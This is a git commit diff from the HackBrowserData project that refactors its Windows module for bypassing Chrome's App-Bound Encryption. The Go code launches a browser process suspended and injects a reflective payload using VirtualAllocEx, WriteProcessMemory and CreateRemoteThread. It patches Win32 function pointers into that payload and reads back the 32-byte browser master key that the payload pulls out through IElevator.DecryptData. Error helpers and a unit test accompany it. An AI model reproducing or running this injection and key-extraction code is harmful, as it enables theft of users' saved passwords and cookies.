mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
refactor(windows): clean up Chrome ABE module (#574)
* refactor(abe): remove --abe-key flag and its global state * refactor(abe): rework scratch protocol and Go/C structure
This commit is contained in:
@@ -0,0 +1,49 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
||||
)
|
||||
|
||||
// abeErrNames maps the payload's ABE_ERR_* category byte (written into
|
||||
// the scratch region at extract_err_code) to a human-readable cause.
|
||||
var abeErrNames = map[byte]string{
|
||||
bootstrap.ErrBasename: "basename extraction failed",
|
||||
bootstrap.ErrBrowserUnknown: "browser not in com_iid table",
|
||||
bootstrap.ErrEnvMissing: "HBD_ABE_ENC_B64 env var missing or oversized",
|
||||
bootstrap.ErrBase64: "base64 decode failed",
|
||||
bootstrap.ErrBstrAlloc: "SysAllocStringByteLen failed",
|
||||
bootstrap.ErrComCreate: "CoCreateInstance failed (no usable IElevator)",
|
||||
bootstrap.ErrDecryptData: "IElevator.DecryptData failed",
|
||||
bootstrap.ErrKeyLen: "key length mismatch (want 32)",
|
||||
}
|
||||
|
||||
// hresultNames covers HRESULT values we've actually observed or expect to
|
||||
// observe on failure paths. Unknown values fall back to hex.
|
||||
var hresultNames = map[uint32]string{
|
||||
0x80004002: "E_NOINTERFACE",
|
||||
0x80010108: "RPC_E_DISCONNECTED",
|
||||
0x80040154: "REGDB_E_CLASSNOTREG",
|
||||
0x80070005: "E_ACCESSDENIED",
|
||||
0x800706BA: "RPC_S_SERVER_UNAVAILABLE",
|
||||
}
|
||||
|
||||
// formatABEError renders a scratchResult into a diagnostic string used when
|
||||
// the payload did not publish a key. The format is stable for greppability:
|
||||
//
|
||||
// err=<category>, hr=<name> (0xXXXXXXXX), comErr=0xXXXXXXXX, marker=0xXX
|
||||
func formatABEError(r scratchResult) string {
|
||||
errName := fmt.Sprintf("0x%02x", r.ErrCode)
|
||||
if n, ok := abeErrNames[r.ErrCode]; ok {
|
||||
errName = n
|
||||
}
|
||||
hrName := fmt.Sprintf("0x%08x", r.HResult)
|
||||
if n, ok := hresultNames[r.HResult]; ok {
|
||||
hrName = fmt.Sprintf("%s (0x%08x)", n, r.HResult)
|
||||
}
|
||||
return fmt.Sprintf("err=%s, hr=%s, comErr=0x%x, marker=0x%02x",
|
||||
errName, hrName, r.ComErr, r.Marker)
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
||||
)
|
||||
|
||||
func TestFormatABEError(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
result scratchResult
|
||||
wants []string
|
||||
}{
|
||||
{
|
||||
name: "known err code with known HRESULT",
|
||||
result: scratchResult{
|
||||
Marker: 0xff,
|
||||
Status: 0x00,
|
||||
ErrCode: bootstrap.ErrDecryptData,
|
||||
HResult: 0x80070005,
|
||||
ComErr: 0,
|
||||
},
|
||||
wants: []string{
|
||||
"err=IElevator.DecryptData failed",
|
||||
"hr=E_ACCESSDENIED (0x80070005)",
|
||||
"comErr=0x0",
|
||||
"marker=0xff",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "known err code, unknown HRESULT falls back to hex",
|
||||
result: scratchResult{
|
||||
Marker: 0xff,
|
||||
Status: 0x00,
|
||||
ErrCode: bootstrap.ErrBrowserUnknown,
|
||||
HResult: 0x12345678,
|
||||
},
|
||||
wants: []string{
|
||||
"err=browser not in com_iid table",
|
||||
"hr=0x12345678",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "unknown err code falls back to hex",
|
||||
result: scratchResult{
|
||||
ErrCode: 0xaa,
|
||||
HResult: 0,
|
||||
},
|
||||
wants: []string{
|
||||
"err=0xaa",
|
||||
"hr=0x00000000",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "err code zero (ok) also renders",
|
||||
result: scratchResult{
|
||||
ErrCode: bootstrap.ErrOk,
|
||||
},
|
||||
wants: []string{
|
||||
"err=0x00",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
got := formatABEError(tc.result)
|
||||
for _, want := range tc.wants {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("formatABEError missing %q\n got: %s", want, got)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -8,9 +8,10 @@ import (
|
||||
"os"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
||||
)
|
||||
|
||||
type Reflective struct {
|
||||
@@ -22,13 +23,6 @@ const (
|
||||
// 30s covers GoogleChromeElevationService cold-start on first call after boot.
|
||||
defaultWait = 30 * time.Second
|
||||
terminateWait = 2 * time.Second
|
||||
|
||||
// Keep in sync with bootstrap.h.
|
||||
bootstrapMarkerOffset = 0x28
|
||||
bootstrapKeyStatusOffset = 0x29
|
||||
bootstrapKeyOffset = 0x40
|
||||
bootstrapKeyLen = 32
|
||||
bootstrapKeyStatusReady = 0x01
|
||||
)
|
||||
|
||||
func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) {
|
||||
@@ -83,18 +77,35 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
|
||||
}
|
||||
|
||||
// Read output before TerminateProcess — after kill the memory is gone.
|
||||
status, key := readScratch(pi.Process, remoteBase)
|
||||
result, readErr := readScratch(pi.Process, remoteBase)
|
||||
|
||||
_ = windows.TerminateProcess(pi.Process, 0)
|
||||
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
|
||||
terminated = true
|
||||
|
||||
if status != bootstrapKeyStatusReady {
|
||||
marker := readMarker(pi.Process, remoteBase)
|
||||
return nil, fmt.Errorf("injector: payload did not publish key (status=0x%02x, marker=0x%02x)",
|
||||
status, marker)
|
||||
if readErr != nil {
|
||||
return nil, fmt.Errorf("injector: %w", readErr)
|
||||
}
|
||||
return key, nil
|
||||
if result.Status != bootstrap.KeyStatusReady {
|
||||
return nil, fmt.Errorf("injector: payload did not publish key (%s)", formatABEError(result))
|
||||
}
|
||||
if len(result.Key) != bootstrap.KeyLen {
|
||||
return nil, fmt.Errorf("injector: payload signaled ready but key length is %d (want %d)",
|
||||
len(result.Key), bootstrap.KeyLen)
|
||||
}
|
||||
return result.Key, nil
|
||||
}
|
||||
|
||||
// scratchResult is the structured view of the 12-byte diagnostic header
|
||||
// (marker..com_err) plus the optional 32-byte master key the payload
|
||||
// publishes back into the remote process's scratch region.
|
||||
type scratchResult struct {
|
||||
Marker byte
|
||||
Status byte
|
||||
ErrCode byte
|
||||
HResult uint32
|
||||
ComErr uint32
|
||||
Key []byte
|
||||
}
|
||||
|
||||
func (r *Reflective) wait() time.Duration {
|
||||
@@ -138,29 +149,19 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
|
||||
}
|
||||
|
||||
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procVirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
procWriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
|
||||
remoteBase, _, callErr := procVirtualAllocEx.Call(
|
||||
remoteBase, err := callBoolErr(procVirtualAllocEx,
|
||||
uintptr(proc), 0,
|
||||
uintptr(len(payload)),
|
||||
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
||||
uintptr(windows.PAGE_EXECUTE_READWRITE),
|
||||
)
|
||||
if remoteBase == 0 {
|
||||
return 0, fmt.Errorf("injector: VirtualAllocEx: %w", callErr)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("injector: %w", err)
|
||||
}
|
||||
|
||||
var written uintptr
|
||||
r1, _, callErr := procWriteProcessMemory.Call(
|
||||
uintptr(proc), remoteBase,
|
||||
uintptr(unsafe.Pointer(&payload[0])),
|
||||
uintptr(len(payload)),
|
||||
uintptr(unsafe.Pointer(&written)),
|
||||
)
|
||||
if r1 == 0 {
|
||||
return 0, fmt.Errorf("injector: WriteProcessMemory: %w", callErr)
|
||||
if err := windows.WriteProcessMemory(proc, remoteBase, &payload[0], uintptr(len(payload)), &written); err != nil {
|
||||
return 0, fmt.Errorf("injector: WriteProcessMemory: %w", err)
|
||||
}
|
||||
if int(written) != len(payload) {
|
||||
return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload))
|
||||
@@ -169,74 +170,68 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||
}
|
||||
|
||||
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procCreateRemoteThread := kernel32.NewProc("CreateRemoteThread")
|
||||
|
||||
entry := remoteBase + uintptr(loaderRVA)
|
||||
hThread, _, callErr := procCreateRemoteThread.Call(
|
||||
uintptr(proc),
|
||||
0, 0, entry, 0, 0, 0,
|
||||
hThread, err := callBoolErr(procCreateRemoteThread,
|
||||
uintptr(proc), 0, 0, entry, 0, 0, 0,
|
||||
)
|
||||
if hThread == 0 {
|
||||
return fmt.Errorf("injector: CreateRemoteThread: %w", callErr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("injector: %w", err)
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(hThread))
|
||||
|
||||
_, _ = windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
|
||||
return nil
|
||||
state, err := windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
|
||||
if err != nil {
|
||||
return fmt.Errorf("injector: WaitForSingleObject: %w", err)
|
||||
}
|
||||
switch state {
|
||||
case windows.WAIT_OBJECT_0:
|
||||
return nil
|
||||
case uint32(windows.WAIT_TIMEOUT):
|
||||
return fmt.Errorf("injector: remote Bootstrap thread timed out after %s", wait)
|
||||
default:
|
||||
return fmt.Errorf("injector: remote Bootstrap thread wait returned 0x%x", state)
|
||||
}
|
||||
}
|
||||
|
||||
func readScratch(proc windows.Handle, remoteBase uintptr) (status byte, key []byte) {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
|
||||
var sb [1]byte
|
||||
// readScratch pulls the payload's diagnostic header and (on success) the
|
||||
// master key out of the target process's scratch region. A non-nil error
|
||||
// means our own ReadProcessMemory call failed (distinct from the payload
|
||||
// reporting a structured failure via result.Status/ErrCode/HResult).
|
||||
func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error) {
|
||||
// hdr covers offsets 0x28..0x33: marker, status, extract_err_code,
|
||||
// _reserved, hresult (LE u32), com_err (LE u32).
|
||||
var hdr [12]byte
|
||||
var n uintptr
|
||||
r, _, _ := procReadProcessMemory.Call(
|
||||
uintptr(proc),
|
||||
remoteBase+uintptr(bootstrapKeyStatusOffset),
|
||||
uintptr(unsafe.Pointer(&sb[0])),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(&n)),
|
||||
)
|
||||
if r == 0 {
|
||||
return 0, nil
|
||||
if err := windows.ReadProcessMemory(proc,
|
||||
remoteBase+uintptr(bootstrap.MarkerOffset),
|
||||
&hdr[0], uintptr(len(hdr)), &n); err != nil {
|
||||
return scratchResult{}, fmt.Errorf("read scratch header: %w", err)
|
||||
}
|
||||
status = sb[0]
|
||||
if status != bootstrapKeyStatusReady {
|
||||
return status, nil
|
||||
if int(n) != len(hdr) {
|
||||
return scratchResult{}, fmt.Errorf("read scratch header: short read %d/%d", n, len(hdr))
|
||||
}
|
||||
result := scratchResult{
|
||||
Marker: hdr[0],
|
||||
Status: hdr[1],
|
||||
ErrCode: hdr[2],
|
||||
HResult: binary.LittleEndian.Uint32(hdr[4:8]),
|
||||
ComErr: binary.LittleEndian.Uint32(hdr[8:12]),
|
||||
}
|
||||
if result.Status != bootstrap.KeyStatusReady {
|
||||
return result, nil
|
||||
}
|
||||
|
||||
buf := make([]byte, bootstrapKeyLen)
|
||||
r, _, _ = procReadProcessMemory.Call(
|
||||
uintptr(proc),
|
||||
remoteBase+uintptr(bootstrapKeyOffset),
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(bootstrapKeyLen),
|
||||
uintptr(unsafe.Pointer(&n)),
|
||||
)
|
||||
if r == 0 || int(n) != bootstrapKeyLen {
|
||||
return status, nil
|
||||
buf := make([]byte, bootstrap.KeyLen)
|
||||
if err := windows.ReadProcessMemory(proc,
|
||||
remoteBase+uintptr(bootstrap.KeyOffset),
|
||||
&buf[0], uintptr(bootstrap.KeyLen), &n); err != nil {
|
||||
return result, fmt.Errorf("read master key from scratch: %w", err)
|
||||
}
|
||||
return status, buf
|
||||
}
|
||||
|
||||
func readMarker(proc windows.Handle, remoteBase uintptr) byte {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
var b [1]byte
|
||||
var n uintptr
|
||||
r, _, _ := procReadProcessMemory.Call(
|
||||
uintptr(proc),
|
||||
remoteBase+uintptr(bootstrapMarkerOffset),
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(&n)),
|
||||
)
|
||||
if r == 0 {
|
||||
return 0
|
||||
if int(n) != bootstrap.KeyLen {
|
||||
return result, fmt.Errorf("read master key from scratch: short read %d/%d", n, bootstrap.KeyLen)
|
||||
}
|
||||
return b[0]
|
||||
result.Key = buf
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// patchPreresolvedImports writes five pre-resolved Win32 function pointers
|
||||
@@ -244,18 +239,15 @@ func readMarker(proc windows.Handle, remoteBase uintptr) byte {
|
||||
// Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll
|
||||
// share the same virtual address across processes in one boot session).
|
||||
func patchPreresolvedImports(payload []byte) ([]byte, error) {
|
||||
if len(payload) < 0x68 {
|
||||
if len(payload) < bootstrap.ImpNtFlushICOffset+8 {
|
||||
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
|
||||
}
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
pLoadLibraryA := kernel32.NewProc("LoadLibraryA").Addr()
|
||||
pGetProcAddress := kernel32.NewProc("GetProcAddress").Addr()
|
||||
pVirtualAlloc := kernel32.NewProc("VirtualAlloc").Addr()
|
||||
pVirtualProtect := kernel32.NewProc("VirtualProtect").Addr()
|
||||
pNtFlushIC := ntdll.NewProc("NtFlushInstructionCache").Addr()
|
||||
pLoadLibraryA := procLoadLibraryA.Addr()
|
||||
pGetProcAddress := procGetProcAddress.Addr()
|
||||
pVirtualAlloc := procVirtualAlloc.Addr()
|
||||
pVirtualProtect := procVirtualProtect.Addr()
|
||||
pNtFlushIC := procNtFlushIC.Addr()
|
||||
|
||||
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
|
||||
pVirtualProtect == 0 || pNtFlushIC == 0 {
|
||||
@@ -268,11 +260,11 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) {
|
||||
writeAddr := func(off int, addr uintptr) {
|
||||
binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr))
|
||||
}
|
||||
writeAddr(0x40, pLoadLibraryA)
|
||||
writeAddr(0x48, pGetProcAddress)
|
||||
writeAddr(0x50, pVirtualAlloc)
|
||||
writeAddr(0x58, pVirtualProtect)
|
||||
writeAddr(0x60, pNtFlushIC)
|
||||
writeAddr(bootstrap.ImpLoadLibraryAOffset, pLoadLibraryA)
|
||||
writeAddr(bootstrap.ImpGetProcAddressOffset, pGetProcAddress)
|
||||
writeAddr(bootstrap.ImpVirtualAllocOffset, pVirtualAlloc)
|
||||
writeAddr(bootstrap.ImpVirtualProtectOffset, pVirtualProtect)
|
||||
writeAddr(bootstrap.ImpNtFlushICOffset, pNtFlushIC)
|
||||
|
||||
return patched, nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Package-level lazy DLL/Proc handles. Consolidating them here avoids the
|
||||
// NewLazySystemDLL("kernel32.dll") boilerplate spread across every helper in
|
||||
// reflective_windows.go, and gives us a single place to extend when a new
|
||||
// Win32 API is needed. Matches the pattern used in filemanager/copy_windows.go.
|
||||
var (
|
||||
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
// Call-style procs: Win32 APIs that `golang.org/x/sys/windows` does NOT
|
||||
// provide typed wrappers for. We invoke them via LazyProc.Call.
|
||||
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
|
||||
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
|
||||
|
||||
// Address-style procs: consumed only via .Addr() by patchPreresolvedImports
|
||||
// to patch raw function pointers into the payload's DOS stub. We never Call
|
||||
// these from our own process.
|
||||
procLoadLibraryA = kernel32.NewProc("LoadLibraryA")
|
||||
procGetProcAddress = kernel32.NewProc("GetProcAddress")
|
||||
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
|
||||
procVirtualProtect = kernel32.NewProc("VirtualProtect")
|
||||
procNtFlushIC = ntdll.NewProc("NtFlushInstructionCache")
|
||||
)
|
||||
|
||||
// callBoolErr wraps the common "r1 == 0 means failure" Win32 convention.
|
||||
// Win32 GetLastError often returns ERROR_SUCCESS (errno 0) even on failure,
|
||||
// so we distinguish the "no-errno" case explicitly to avoid emitting misleading
|
||||
// "operation completed successfully" messages. We use errors.As rather than a
|
||||
// type assertion so the check stays correct if x/sys/windows ever wraps the
|
||||
// underlying errno.
|
||||
func callBoolErr(p *windows.LazyProc, args ...uintptr) (uintptr, error) {
|
||||
r, _, callErr := p.Call(args...)
|
||||
if r == 0 {
|
||||
var errno syscall.Errno
|
||||
if errors.As(callErr, &errno) && errno == 0 {
|
||||
return 0, fmt.Errorf("%s: failed (no errno)", p.Name)
|
||||
}
|
||||
return 0, fmt.Errorf("%s: %w", p.Name, callErr)
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
Reference in New Issue
Block a user